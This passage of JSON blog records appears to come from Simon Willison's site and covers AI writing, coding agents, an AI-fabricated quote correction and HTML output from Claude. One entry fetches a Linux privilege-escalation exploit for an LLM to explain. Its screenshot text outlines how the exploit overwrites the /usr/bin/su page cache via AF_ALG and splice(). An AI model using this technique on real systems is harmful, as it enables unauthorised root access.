  "source_url": "https://www.jamesshore.com/v2/blog/2026/you-need-ai-that-reduces-your-maintenance-costs",
  "created": "2026-05-11T19:48:32+00:00",
  "metadata": {},
  "search_document": "'a':20A,55A 'adds':82A 'agent':4A 'agentic':141B 'agentic-engineering':140B 'agents':139B 'ai':2A,128B,131B,134B 'ai-assisted-programming':133B 'and':73A,89A,111A 'as':28A,41A 'assisted':135B 'better':31A 'bit':22A 'boost':58A 'by':19A,74A 'code':11A,26A,83A 'coding':3A,138B 'coding-agents':137B 'cost':91A 'costs':17A,38A,47A,72A,105A,115A,127A 'decreases':69A 'double':86A,108A 'doubled':124A 'either':23A 'engineering':142B 'exactly':75A 'for':59A 'generative':130B 'generative-ai':129B 'halved':35A 'hold':112A 'hope':32A 'if':66A,84A,106A 'indenture':61A 'inverse':77A 'it':81A 'james':143C 'little':21A 'llm':68A 'llms':132B 'maintaining':93A 'maintenance':16A,37A,46A,71A,104A,114A,126A 'math':63A 'means':99A,120A 'needs':12A 'not':18A 'now':30A 'of':78A,92A 'one':6A,43A,119A 'only':64A 'otherwise':48A 'output':88A,95A,110A 'permanent':60A 'productive':42A 'programming':136B 'quadrupled':102A 'quick':29A 'rate':80A 're':50A,53A 'reduce':14A 'screwed':51A 'shore':144C 'speed':57A 'steady':116A 'still':123A 'temporary':56A 'that':94A 'the':5A,45A,62A,67A,76A,79A 'third':44A 'three':39A 'times':40A,97A,118A 'to':9A,13A 'trading':54A 'twice':27A 'two':96A,98A,117A 'use':8A 've':34A,101A,122A 'works':65A 'write':10A,25A 'you':7A,24A,33A,49A,52A,85A,100A,107A,121A 'your':1A,15A,36A,70A,87A,90A,103A,109A,113A,125A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "You Need AI That Reduces Maintenance Costs"
}
blogmark 2026-05-11 19:21:27+00:00
{
  "id": 9462,
  "slug": "zombie-internet",
  "link_url": "https://www.404media.co/your-ai-use-is-breaking-my-brain/",
  "link_title": "Your AI Use Is Breaking My Brain",
  "via_url": "https://bsky.app/profile/jasonkoebler.bsky.social/post/3mllgvidacs2n",
  "via_title": "@jasonkoebler.bsky.social",
  "commentary": "Excellent, angry piece by Jason Koebler on how AI writing online is becoming impossible to avoid, filtering it is mentally exhausting and it's even starting to distort regular human writing styles.\r\n\r\nI particularly liked his use of the term \"Zombie Internet\" to define a different, more insidious alternative to the \"Dead Internet\" (which is just bots talking to each other):\r\n\r\n> I called it the Zombie Internet because the truth is that large parts of the internet are not just bots talking to bots or bots talking to people. It\u2019s people talking to bots, people talking to people, people creating \u201cAI agents\u201d and then instructing them to interact with people. It\u2019s people using AI talking to people who are not using AI, and it\u2019s people using AI talking to other people who are using AI. It\u2019s influencer hustlebros who are teaching each other how to make AI influencers and have spun up automated YouTube channels and blogs and social media accounts that are spamming the internet for the sole purpose of making money. It is whatever the fuck \u201cMoltbook\u201d is and whatever the fuck X and LinkedIn have become. It\u2019s AI summaries of real books being sold as the book itself and inspirational Reddit posts and comment threads in which people give heartfelt advice to some account that\u2019s actually being run by a marketing firm. [...]",
  "created": "2026-05-11T19:21:27+00:00",
  "metadata": {},
  "search_document": "'a':65C,249C 'account':242C 'accounts':185C 'actually':245C 'advice':239C 'agents':123C 'ai':2A,9B,12B,19B,29C,122C,136C,144C,150C,158C,171C,216C 'ai-ethics':18B 'alternative':69C 'and':42C,124C,145C,173C,180C,182C,205C,210C,227C,231C 'angry':22C 'are':98C,141C,156C,164C,187C 'as':223C 'automated':177C 'avoid':36C 'because':88C 'become':213C 'becoming':33C 'being':221C,246C 'blogs':181C 'book':225C 'books':220C 'bots':77C,101C,104C,106C,115C 'brain':7A 'breaking':5A 'by':24C,248C 'called':83C 'channels':179C 'comment':232C 'creating':121C 'dead':72C 'define':64C 'definitions':8B 'different':66C 'distort':48C 'each':80C,166C 'ethics':20B 'even':45C 'excellent':21C 'exhausting':41C 'filtering':37C 'firm':251C 'for':191C 'fuck':202C,208C 'generative':11B 'generative-ai':10B 'give':237C 'have':174C,212C 'heartfelt':238C 'his':56C 'how':28C,168C 'human':50C 'hustlebros':162C 'i':53C,82C 'impossible':34C 'in':234C 'influencer':161C 'influencers':172C 'insidious':68C 'inspirational':228C 'instructing':126C 'interact':129C 'internet':62C,73C,87C,97C,190C 'is':4A,32C,39C,75C,91C,199C,204C 'it':38C,43C,84C,110C,132C,146C,159C,198C,214C 'itself':226C 'jason':16B,25C 'jason-koebler':15B 'jasonkoebler.bsky.social':253C 'just':76C,100C 'koebler':17B,26C 'large':93C 'liked':55C 'linkedin':211C 'llms':13B 'make':170C 'making':196C 'marketing':250C 'media':184C 'mentally':40C 'moltbook':203C 'money':197C 'more':67C 'my':6A 'not':99C,142C 'of':58C,95C,195C,218C 'on':27C 'online':31C 'or':105C 'other':81C,153C,167C 'particularly':54C 'parts':94C 'people':109C,112C,116C,119C,120C,131C,134C,139C,148C,154C,236C 'piece':23C 'posts':230C 'purpose':194C 'real':219C 'reddit':229C 'regular':49C 'run':247C 's':44C,111C,133C,147C,160C,215C,244C 'slop':14B 'social':183C 'sold':222C 'sole':193C 'some':241C 'spamming':188C 'spun':175C 'starting':46C 'styles':52C 'summaries':217C 'talking':78C,102C,107C,113C,117C,137C,151C 'teaching':165C 'term':60C 'that':92C,186C,243C 'the':59C,71C,85C,89C,96C,189C,192C,201C,207C,224C 'them':127C 'then':125C 'threads':233C 'to':35C,47C,63C,70C,79C,103C,108C,114C,118C,128C,138C,152C,169C,240C 'truth':90C 'up':176C 'use':3A,57C 'using':135C,143C,149C,157C 'whatever':200C,206C 'which':74C,235C 'who':140C,155C,163C 'with':130C 'writing':30C,51C 'www.404media.co':252C 'x':209C 'your':1A 'youtube':178C 'zombie':61C,86C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-05-11 15:46:36+00:00
{
  "id": 9461,
  "slug": "learning-on-the-shop-floor",
  "link_url": "https://twitter.com/tobi/status/2053121182044451016",
  "link_title": "Learning on the Shop floor",
  "via_url": null,
  "via_title": null,
  "commentary": "Tobias L\u00fctke describes Shopify's internal coding agent tool, River, which operates entirely in public on their Slack:\r\n\r\n> River does not respond to direct messages. She politely declines and suggests to create a public channel for you and her to start working in. I myself work with river in `#tobi_river` channel and many followed this pattern.  Every conversation is therefore searchable.  Anyone at Shopify  can jump in. In my own channel, there are over 100 people who, react to threads, add color and add context, pick up the torch, help with the reviews, remind me how rusty I am, and importantly, learn from watching. [...]\r\n>\r\n> As so often with German, there is a word for the kind of environment: *Lehrwerkstatt*. Literally: **A teaching workshop**. The whole shop floor is the classroom. You learn by being near the work. Being a constant learner is one of the core values of the firm.\r\n>\r\n> Shopify wants to be a Lehrwerkstatt at scale and River has now gotten us closer to this ideal than ever. It\u2019s *osmosis learning*, because it does not require a curriculum, a training plan, or a manager. It just requires everyone's work to be visible to the maximum extent possible. Everyone learns from each other.\r\n\r\nI'm reminded of how Midjourney spent its first few years with the primary interface being public Discord channels, forcing users to share their prompts and learn from each other's experiments. I continue to believe that the early success of Midjourney was tied to this mechanism, helping to compensate for how weird and finicky text-to-image prompting is.",
  "created": "2026-05-11T15:46:36+00:00",
  "metadata": {},
  "search_document": "'100':94C 'a':51C,131C,140C,158C,174C,199C,201C,205C 'add':100C,103C 'agent':26C 'agents':15B 'ai':6B,10B 'am':118C 'and':47C,56C,71C,102C,119C,178C,251C,279C 'anyone':81C 'are':92C 'as':124C 'at':82C,176C 'be':173C,214C 'because':194C 'being':153C,157C,241C 'believe':261C 'by':152C 'can':84C 'channel':53C,70C,90C 'channels':244C 'classroom':149C 'closer':184C 'coding':14B,25C 'coding-agents':13B 'color':101C 'compensate':275C 'constant':159C 'context':104C 'continue':259C 'conversation':77C 'core':165C 'create':50C 'curriculum':200C 'declines':46C 'describes':21C 'direct':42C 'discord':243C 'does':38C,196C 'each':224C,254C 'early':264C 'entirely':31C 'environment':137C 'ever':189C 'every':76C 'everyone':210C,221C 'experiments':257C 'extent':219C 'few':235C 'finicky':280C 'firm':169C 'first':234C 'floor':5A,146C 'followed':73C 'for':54C,133C,276C 'forcing':245C 'from':122C,223C,253C 'generative':9B 'generative-ai':8B 'german':128C 'gotten':182C 'has':180C 'help':109C 'helping':273C 'her':57C 'how':115C,230C,277C 'i':62C,117C,226C,258C 'ideal':187C 'image':284C 'importantly':120C 'in':32C,61C,67C,86C,87C 'interface':240C 'internal':24C 'is':78C,130C,147C,161C,286C 'it':190C,195C,207C 'its':233C 'jump':85C 'just':208C 'kind':135C 'learn':121C,151C,252C 'learner':160C 'learning':1A,193C 'learns':222C 'lehrwerkstatt':138C,175C 'literally':139C 'llms':11B 'lutke':18B 'l\u00fctke':20C 'm':227C 'manager':206C 'many':72C 'maximum':218C 'me':114C 'mechanism':272C 'messages':43C 'midjourney':12B,231C,267C 'my':88C 'myself':63C 'near':154C 'not':39C,197C 'now':181C 'of':136C,163C,167C,229C,266C 'often':126C 'on':2A,34C 'one':162C 'operates':30C 'or':204C 'osmosis':192C 'other':225C,255C 'over':93C 'own':89C 'pattern':75C 'people':95C 'pick':105C 'plan':203C 'politely':45C 'possible':220C 'primary':239C 'prompting':285C 'prompts':250C 'public':33C,52C,242C 'react':97C 'remind':113C 'reminded':228C 'require':198C 'requires':209C 'respond':40C 'reviews':112C 'river':28C,37C,66C,69C,179C 'rusty':116C 's':23C,191C,211C,256C 'scale':177C 'searchable':80C 'share':248C 'she':44C 'shop':4A,145C 'shopify':22C,83C,170C 'slack':7B,36C 'so':125C 'spent':232C 'start':59C 'success':265C 'suggests':48C 'teaching':141C 'text':282C 'text-to-image':281C 'than':188C 'that':262C 'the':3A,107C,111C,134C,143C,148C,155C,164C,168C,217C,238C,263C 'their':35C,249C 'there':91C,129C 'therefore':79C 'this':74C,186C,271C 'threads':99C 'tied':269C 'to':41C,49C,58C,98C,172C,185C,213C,216C,247C,260C,270C,274C,283C 'tobi':68C 'tobias':17B,19C 'tobias-lutke':16B 'tool':27C 'torch':108C 'training':202C 'twitter.com':287C 'up':106C 'us':183C 'users':246C 'values':166C 'visible':215C 'wants':171C 'was':268C 'watching':123C 'weird':278C 'which':29C 'who':96C 'whole':144C 'with':65C,110C,127C,237C 'word':132C 'work':64C,156C,212C 'working':60C 'workshop':142C 'years':236C 'you':55C,150C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-05-10 23:58:49+00:00
{
  "id": 2194,
  "slug": "new-york-times-editors-note",
  "quotation": "*This article was updated after The Times learned that a remark attributed to Pierre Poilievre, the Conservative leader, was in fact an A.I.-generated summary of his views about Canadian politics that A.I. rendered as a quotation. The reporter should have checked the accuracy of what the A.I. tool returned.  The article now accurately quotes from a speech delivered by Mr. Poilievre in April. [...] He did not refer to politicians who changed allegiances as turncoats in that speech.*",
  "source": "New York Times Editors\u2019 Note",
  "source_url": "https://www.nytimes.com/2026/04/14/world/canada/election-carney-liberal-party.html",
  "created": "2026-05-10T23:58:49+00:00",
  "metadata": {},
  "search_document": "'a':10A,36A,57A 'a.i':23A,33A,48A 'about':29A 'accuracy':44A 'accurately':54A 'after':5A 'ai':84B,87B,90B 'ai-ethics':89B 'allegiances':73A 'an':22A 'april':64A 'article':2A,52A 'as':35A,74A 'attributed':12A 'by':60A 'canadian':30A 'changed':72A 'checked':42A 'conservative':17A 'delivered':59A 'did':66A 'editors':96C 'ethics':91B 'fact':21A 'from':56A 'generated':24A 'generative':86B 'generative-ai':85B 'hallucinations':92B 'have':41A 'he':65A 'his':27A 'in':20A,63A,76A 'journalism':79B 'leader':18A 'learned':8A 'llms':88B 'mr':61A 'new':81B,93C 'new-york-times':80B 'not':67A 'note':97C 'now':53A 'of':26A,45A 'pierre':14A 'poilievre':15A,62A 'politicians':70A 'politics':31A 'quotation':37A 'quotes':55A 'refer':68A 'remark':11A 'rendered':34A 'reporter':39A 'returned':50A 'should':40A 'speech':58A,78A 'summary':25A 'that':9A,32A,77A 'the':6A,16A,38A,43A,47A,51A 'this':1A 'times':7A,83B,95C 'to':13A,69A 'tool':49A 'turncoats':75A 'updated':4A 'views':28A 'was':3A,19A 'what':46A 'who':71A 'york':82B,94C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": null
}
blogmark 2026-05-10 15:36:19+00:00
{
  "id": 9460,
  "slug": "mythical-man-month",
  "link_url": "https://martinfowler.com/bliki/MythicalManMonth.html",
  "link_title": "Mythical Man Month",
  "via_url": null,
  "via_title": null,
  "commentary": "Martin Fowler highlights this key idea from The Mythical Man-Month (Fred Brooks, 1975, still impressively relevant 50 years later):\r\n\r\n> I will contend that conceptual integrity is the most important consideration in system design. It is better to have a system omit certain anomalous features and improvements, but to reflect one set of design ideas, than to have one that contains many good but independent and uncoordinated ideas.\r\n\r\n**Conceptual integrity** is exactly the missing piece I've been trying to nail down in understanding why being able to spit out new features so quickly offers new challenges when working with coding agents.",
  "created": "2026-05-10T15:36:19+00:00",
  "metadata": {},
  "search_document": "'1975':21C '50':25C 'a':47C 'able':94C 'agents':109C 'and':53C,73C 'anomalous':51C 'been':85C 'being':93C 'better':44C 'brooks':20C 'but':55C,71C 'certain':50C 'challenges':104C 'coding':108C 'conceptual':5B,32C,76C 'conceptual-integrity':4B 'consideration':38C 'contains':68C 'contend':30C 'design':41C,61C 'down':89C 'exactly':79C 'features':52C,99C 'fowler':8C 'fred':19C 'from':13C 'good':70C 'have':46C,65C 'highlights':9C 'i':28C,83C 'idea':12C 'ideas':62C,75C 'important':37C 'impressively':23C 'improvements':54C 'in':39C,90C 'independent':72C 'integrity':6B,33C,77C 'is':34C,43C,78C 'it':42C 'key':11C 'later':27C 'man':2A,17C 'man-month':16C 'many':69C 'martin':7C 'martinfowler.com':110C 'missing':81C 'month':3A,18C 'most':36C 'mythical':1A,15C 'nail':88C 'new':98C,103C 'of':60C 'offers':102C 'omit':49C 'one':58C,66C 'out':97C 'piece':82C 'quickly':101C 'reflect':57C 'relevant':24C 'set':59C 'so':100C 'spit':96C 'still':22C 'system':40C,48C 'than':63C 'that':31C,67C 'the':14C,35C,80C 'this':10C 'to':45C,56C,64C,87C,95C 'trying':86C 'uncoordinated':74C 'understanding':91C 've':84C 'when':105C 'why':92C 'will':29C 'with':107C 'working':106C 'years':26C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": true,
  "title": ""
}
blogmark 2026-05-10 15:31:32+00:00
{
  "id": 9459,
  "slug": "conceptual-integrity",
  "link_url": "https://martinfowler.com/bliki/MythicalManMonth.html",
  "link_title": "Mythical Man Month",
  "via_url": null,
  "via_title": null,
  "commentary": "Martin Fowler highlights this key idea from The Mythical Man-Month (Fred Brooks, 1975, still impressively relevant 50 years later):\r\n\r\n> I will contend that conceptual integrity is the most important consideration in system design. It is better to have a system omit certain anomalous features and improvements, but to reflect one set of design ideas, than to have one that contains many good but independent and uncoordinated ideas.\r\n\r\n**Conceptual integrity** is exactly the missing piece I've been trying to nail down in understanding why being able to spit out new features so quickly offers new challenges when working with coding agents.",
  "created": "2026-05-10T15:31:32+00:00",
  "metadata": {},
  "search_document": "'1975':32C '50':36C 'a':58C 'able':105C 'agentic':16B 'agentic-engineering':15B 'agents':11B,120C 'ai':6B 'ai-assisted-programming':5B 'and':64C,84C 'anomalous':62C 'assisted':7B 'been':96C 'being':104C 'better':55C 'brooks':31C 'but':66C,82C 'certain':61C 'challenges':115C 'coding':10B,119C 'coding-agents':9B 'cognitive':13B 'cognitive-debt':12B 'conceptual':43C,87C 'consideration':49C 'contains':79C 'contend':41C 'debt':14B 'definitions':4B 'design':52C,72C 'down':100C 'engineering':17B 'exactly':90C 'features':63C,110C 'fowler':19C 'fred':30C 'from':24C 'good':81C 'have':57C,76C 'highlights':20C 'i':39C,94C 'idea':23C 'ideas':73C,86C 'important':48C 'impressively':34C 'improvements':65C 'in':50C,101C 'independent':83C 'integrity':44C,88C 'is':45C,54C,89C 'it':53C 'key':22C 'later':38C 'man':2A,28C 'man-month':27C 'many':80C 'martin':18C 'martinfowler.com':121C 'missing':92C 'month':3A,29C 'most':47C 'mythical':1A,26C 'nail':99C 'new':109C,114C 'of':71C 'offers':113C 'omit':60C 'one':69C,77C 'out':108C 'piece':93C 'programming':8B 'quickly':112C 'reflect':68C 'relevant':35C 'set':70C 'so':111C 'spit':107C 'still':33C 'system':51C,59C 'than':74C 'that':42C,78C 'the':25C,46C,91C 'this':21C 'to':56C,67C,75C,98C,106C 'trying':97C 'uncoordinated':85C 'understanding':102C 've':95C 'when':116C 'why':103C 'will':40C 'with':118C 'working':117C 'years':37C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": true,
  "title": ""
}
quotation 2026-05-10 14:59:17+00:00
{
  "id": 2193,
  "slug": "andrew-quinn",
  "quotation": "One could say in the first quarter-century of my life, that while I was always fascinated by programming, I could never overcome the guilt of not really knowing whether the tool I am building right now isn\u2019t already superceded by some much better implementation someone else has already written 30 or 40 years ago; I could write a TSV-aware search and replace, or I could find out about\u00a0`awk`\u00a0and solve that entire class of problems in one fell swoop, for example. My central conceit is that\u00a0*this is a trap*. You\u00a0*need*\u00a0to reinvent a couple of wheels to get to the edge of what we know about wheel-making, not a thousand wheels, and not zero; probably four or five is sufficient in most domains, maybe closer to twenty or thirty in the most epistemically rigorous and developed fields like mathematics or computer science. Each wheel you reinvent, and every directed question you ask along the way, will propel you faster to the true frontier than that same amount of time spend in idle study, or even five times that amount.",
  "source": "Andrew Quinn",
  "source_url": "https://til.andrew-quinn.me/posts/replacing-a-3-gb-sqlite-database-with-a-7-mb-fst-finite-state-trandsucer-binary/#fn:5",
  "created": "2026-05-10T14:59:17+00:00",
  "metadata": {},
  "search_document": "'30':53A '40':55A 'a':61A,95A,101A,119A 'about':73A,114A 'ago':57A 'along':163A 'already':41A,51A 'always':17A 'am':35A 'amount':177A,189A 'and':66A,75A,122A,145A,157A 'andrew':192C 'ask':162A 'aware':64A 'awk':74A 'better':46A 'building':36A 'by':19A,43A 'careers':191B 'central':89A 'century':9A 'class':79A 'closer':135A 'computer':151A 'conceit':90A 'could':2A,22A,59A,70A 'couple':102A 'developed':146A 'directed':159A 'domains':133A 'each':153A 'edge':109A 'else':49A 'entire':78A 'epistemically':143A 'even':185A 'every':158A 'example':87A 'fascinated':18A 'faster':169A 'fell':84A 'fields':147A 'find':71A 'first':6A 'five':128A,186A 'for':86A 'four':126A 'frontier':173A 'get':106A 'guilt':26A 'has':50A 'i':15A,21A,34A,58A,69A 'idle':182A 'implementation':47A 'in':4A,82A,131A,140A,181A 'is':91A,94A,129A 'isn':39A 'know':113A 'knowing':30A 'life':12A 'like':148A 'making':117A 'mathematics':149A 'maybe':134A 'most':132A,142A 'much':45A 'my':11A,88A 'need':98A 'never':23A 'not':28A,118A,123A 'now':38A 'of':10A,27A,80A,103A,110A,178A 'one':1A,83A 'or':54A,68A,127A,138A,150A,184A 'out':72A 'overcome':24A 'probably':125A 'problems':81A 'programming':20A 'propel':167A 'quarter':8A 'quarter-century':7A 'question':160A 'quinn':193C 'really':29A 'reinvent':100A,156A 'replace':67A 'right':37A 'rigorous':144A 'same':176A 'say':3A 'science':152A 'search':65A 'solve':76A 'some':44A 'someone':48A 'spend':180A 'sqlite':190B 'study':183A 'sufficient':130A 'superceded':42A 'swoop':85A 't':40A 'than':174A 'that':13A,77A,92A,175A,188A 'the':5A,25A,32A,108A,141A,164A,171A 'thirty':139A 'this':93A 'thousand':120A 'time':179A 'times':187A 'to':99A,105A,107A,136A,170A 'tool':33A 'trap':96A 'true':172A 'tsv':63A 'tsv-aware':62A 'twenty':137A 'was':16A 'way':165A 'we':112A 'what':111A 'wheel':116A,154A 'wheel-making':115A 'wheels':104A,121A 'whether':31A 'while':14A 'will':166A 'write':60A 'written':52A 'years':56A 'you':97A,155A,161A,168A 'zero':124A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "footnote on Replacing a 3 GB SQLite database with a 10 MB FST (finite state transducer) binary"
}
quotation 2026-05-09 01:03:58+00:00
{
  "id": 2192,
  "slug": "luke-curley",
  "quotation": "WebRTC is designed to **degrade and drop my prompt** during poor network conditions.\r\n\r\nwtf my dude\r\n\r\nWebRTC aggressively drops audio packets to keep latency low. If you\u2019ve ever heard distorted audio on a conference call, that\u2019s WebRTC baybee. The idea is that conference calls depend on rapid back-and-forth, so pausing to wait for audio is unacceptable.\r\n\r\n\u2026but as a user, I would much rather wait an extra 200ms for my slow/expensive prompt to be accurate. After all, I\u2019m paying good money to boil the ocean, and a garbage prompt means a garbage response. It\u2019s not like LLMs are particularly responsive anyway.\r\n\r\n**But I\u2019m not allowed to wait**. It\u2019s *impossible* to even retransmit a WebRTC audio packet within a browser; we tried at Discord. The *implementation* is hard-coded for real-time latency **or else**.",
  "source": "Luke Curley",
  "source_url": "https://moq.dev/blog/webrtc-is-the-problem/",
  "created": "2026-05-09T01:03:58+00:00",
  "metadata": {},
  "search_document": "'200ms':73A 'a':34A,64A,93A,97A,122A,127A 'accurate':80A 'after':81A 'aggressively':18A 'all':82A 'allowed':113A 'an':71A 'and':6A,52A,92A 'anyway':108A 'are':105A 'as':63A 'at':131A 'audio':20A,32A,59A,124A 'back':51A 'back-and-forth':50A 'baybee':40A 'be':79A 'boil':89A 'browser':128A 'but':62A,109A 'call':36A 'calls':46A 'coded':138A 'conditions':13A 'conference':35A,45A 'curley':149C 'degrade':5A 'depend':47A 'designed':3A 'discord':132A 'distorted':31A 'drop':7A 'drops':19A 'dude':16A 'during':10A 'else':145A 'even':120A 'ever':29A 'extra':72A 'for':58A,74A,139A 'forth':53A 'garbage':94A,98A 'good':86A 'hard':137A 'hard-coded':136A 'heard':30A 'i':66A,83A,110A 'idea':42A 'if':26A 'implementation':134A 'impossible':118A 'is':2A,43A,60A,135A 'it':100A,116A 'keep':23A 'latency':24A,143A 'like':103A 'llms':104A 'low':25A 'luke':148C 'm':84A,111A 'means':96A 'money':87A 'much':68A 'my':8A,15A,75A 'network':12A 'not':102A,112A 'ocean':91A 'on':33A,48A 'openai':146B 'or':144A 'packet':125A 'packets':21A 'particularly':106A 'pausing':55A 'paying':85A 'poor':11A 'prompt':9A,77A,95A 'rapid':49A 'rather':69A 'real':141A 'real-time':140A 'response':99A 'responsive':107A 'retransmit':121A 's':38A,101A,117A 'slow/expensive':76A 'so':54A 'that':37A,44A 'the':41A,90A,133A 'time':142A 'to':4A,22A,56A,78A,88A,114A,119A 'tried':130A 'unacceptable':61A 'user':65A 've':28A 'wait':57A,70A,115A 'we':129A 'webrtc':1A,17A,39A,123A,147B 'within':126A 'would':67A 'wtf':14A 'you':27A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "OpenAI\u2019s WebRTC Problem, in response to [How OpenAI delivers low-latency voice AI at scale](https://openai.com/index/delivering-low-latency-voice-ai-at-scale/)"
}
blogmark 2026-05-08 21:00:11+00:00
{
  "id": 9458,
  "slug": "unreasonable-effectiveness-of-html",
  "link_url": "https://twitter.com/trq212/status/2052809885763747935",
  "link_title": "Using Claude Code: The Unreasonable Effectiveness of HTML",
  "via_url": null,
  "via_title": null,
  "commentary": "Thought-provoking piece by Thariq Shihipar (on the Claude Code team at Anthropic) advocating for HTML over Markdown as an output format to request from Claude.\r\n\r\nThe article is crammed with interesting examples (collected on [this site](https://thariqs.github.io/html-effectiveness/)) and prompt suggestions like this one:\r\n\r\n> `Help me review this PR by creating an HTML artifact that describes it. I'm not very familiar with the streaming/backpressure logic so focus on that. Render the actual diff with inline margin annotations, color-code findings by severity and whatever else might be needed to convey the concept well.`\r\n\r\nI've been defaulting to asking for most things in Markdown since the GPT-4 days, when the 8,192 token limit meant that Markdown's token-efficiency over HTML was extremely worthwhile.\r\n\r\nThariq's piece here has caused me to reconsider that, especially for output. Asking Claude for an explanation in HTML means it can drop in SVG diagrams, interactive widgets, in-page navigation and all sorts of other neat ways of making the information more pleasant to navigate.\r\n\r\nI wrote about [Useful patterns for building HTML tools](https://simonwillison.net/2025/Dec/10/html-tools/) last December, but that was focused very much on interactive utilities like the ones on my [tools.simonwillison.net](https://tools.simonwillison.net/) site. I'm excited to start experimenting more with rich HTML explanations in response to ad-hoc prompts.\r\n\r\n<h4 id=\"trying-this-out\">Trying this out on copy.fail</h4>\r\n\r\n[copy.fail](https://copy.fail/) describes a recently discovered Linux security exploit, including a proof of concept distributed as obfuscated Python.\r\n\r\nI tried having GPT-5.5 create an HTML explanation of the exploit like this:\r\n\r\n> `curl https://copy.fail/exp | llm -m gpt-5.5 -s 'Explain this code in detail. Reformat it, expand out any confusing bits and go deep into what it does and how it works. Output HTML, neatly styled and using capabilities of HTML and CSS and JavaScript to make the explanation rich and interactive and as clear as possible'`\r\n\r\nHere's [the resulting HTML page](https://gisthost.github.io/?ae53e3461ffdbfd0826156aacf025c7e). It's pretty good, though I should have emphasized explaining the exploit over the Python harness around it.\r\n\r\n![Screenshot of a dark-themed technical document titled \"What this Python script does\". Body text: \"This is a compact, deliberately obfuscated Linux-specific local privilege-escalation proof-of-concept. Its apparent goal is to tamper with the in-memory image/page cache of /usr/bin/su, then execute su to obtain elevated privileges.\" A yellow-bordered callout reads: \"Safety note: This explanation is for code understanding, reverse engineering, and defensive analysis. Do not run this on systems you do not own or administer. On a vulnerable kernel, code like this can alter the behavior of a privileged executable.\" Left column heading \"High-level summary\": \"The script opens /usr/bin/su read-only, decompresses an embedded binary payload, and then processes that payload in 4-byte chunks. For each chunk, it performs a carefully arranged sequence involving Linux's kernel crypto socket interface, AF_ALG, pipes, and splice(). The important point is that this is not ordinary file writing. It never calls write() on /usr/bin/su. Instead, it appears to rely on a kernel bug/primitive involving spliced file pages and the crypto API to get controlled bytes placed into the page-cache representation of a privileged executable.\" Numbered steps follow: \"1. Open target executable \u2014 /usr/bin/su is opened read-only. 2. Decode hidden payload \u2014 A zlib-compressed hex blob is decompressed into bytes. 3. Patch in 4-byte chunks \u2014 The helper function is called repeatedly with offsets 0, 4, 8, ...\". Right column heading \"Why it looks strange\" contains a table with Pattern and Purpose columns: \"import os as g \u2014 Short aliasing to make the script compact and harder to read. socket(38, 5, 0) \u2014 Uses raw numeric Linux constants instead of readable names. Compressed hex blob \u2014 Hides binary payload bytes and keeps the script small. splice() \u2014 Moves file-backed pages through pipes without normal user-space copying. try: recv(...) except: 0 \u2014 Triggers the kernel operation and ignores expected errors.\"](https://static.simonwillison.net/static/2026/python-script-explainer.jpg)",
  "created": "2026-05-08T21:00:11+00:00",
  "metadata": {},
  "search_document": "'-4':136C '-5.5':284C,301C '/)':235C,263C '/2025/dec/10/html-tools/)':215C '/?ae53e3461ffdbfd0826156aacf025c7e).':359C '/exp':297C '/html-effectiveness/))':64C '/static/2026/python-script-explainer.jpg)':704C '/usr/bin/su':425C,489C,544C,584C '0':618C,654C,693C '1':580C '192':141C '2':590C '3':604C '38':652C '4':504C,607C,619C '5':653C '8':140C,620C 'a':265C,272C,380C,396C,433C,465C,476C,512C,551C,574C,594C,629C 'about':206C 'actual':99C 'ad':252C 'ad-hoc':251C 'administer':463C 'advocating':38C 'af':523C 'ai':12B,18B 'alg':524C 'aliasing':641C 'all':190C 'alter':472C 'an':44C,78C,172C,286C,494C 'analysis':451C 'and':65C,111C,189C,315C,322C,330C,335C,337C,344C,346C,449C,498C,526C,558C,633C,647C,671C,698C 'annotations':104C 'anthropic':37C 'any':312C 'api':561C 'apparent':412C 'appears':547C 'around':376C 'arranged':514C 'article':52C 'artifact':80C 'as':43C,277C,347C,349C,638C 'asking':127C,169C 'at':36C 'backed':680C 'be':115C 'been':124C 'behavior':474C 'binary':496C,668C 'bits':314C 'blob':599C,666C 'body':392C 'bordered':436C 'bug/primitive':553C 'building':210C 'but':218C 'by':28C,76C,109C 'byte':505C,608C 'bytes':565C,603C,670C 'cache':423C,571C 'called':614C 'callout':437C 'calls':541C 'can':178C,471C 'capabilities':332C 'carefully':513C 'caused':161C 'chunk':509C 'chunks':506C,609C 'claude':2A,22B,33C,50C,170C 'claude-code':21B 'clear':348C 'code':3A,23B,34C,107C,305C,445C,468C 'collected':58C 'color':106C 'color-code':105C 'column':480C,622C 'columns':635C 'compact':397C,646C 'compressed':597C,664C 'concept':120C,275C,410C 'confusing':313C 'constants':659C 'contains':628C 'controlled':564C 'convey':118C 'copy.fail':259C,260C,262C,296C 'copy.fail/)':261C 'copy.fail/exp':295C 'copying':689C 'crammed':54C 'create':285C 'creating':77C 'crypto':520C,560C 'css':336C 'curl':294C 'dark':382C 'dark-themed':381C 'days':137C 'december':217C 'decode':591C 'decompressed':601C 'decompresses':493C 'deep':317C 'defaulting':125C 'defensive':450C 'deliberately':398C 'describes':82C,264C 'detail':307C 'diagrams':182C 'diff':100C 'discovered':267C 'distributed':276C 'do':452C,459C 'document':385C 'does':321C,391C 'drop':179C 'each':508C 'effectiveness':6A 'efficiency':150C 'elevated':431C 'else':113C 'embedded':495C 'emphasized':368C 'engineering':15B,448C 'errors':701C 'escalation':406C 'especially':166C 'examples':57C 'except':692C 'excited':239C 'executable':478C,576C,583C 'execute':427C 'expand':310C 'expected':700C 'experimenting':242C 'explain':303C 'explaining':369C 'explanation':173C,288C,342C,442C 'explanations':247C 'exploit':270C,291C,371C 'extremely':154C 'familiar':88C 'file':537C,556C,679C 'file-backed':678C 'findings':108C 'focus':94C 'focused':221C 'follow':579C 'for':39C,128C,167C,171C,209C,444C,507C 'format':46C 'from':49C 'function':612C 'g':639C 'generative':17B 'generative-ai':16B 'get':563C 'gisthost.github.io':358C 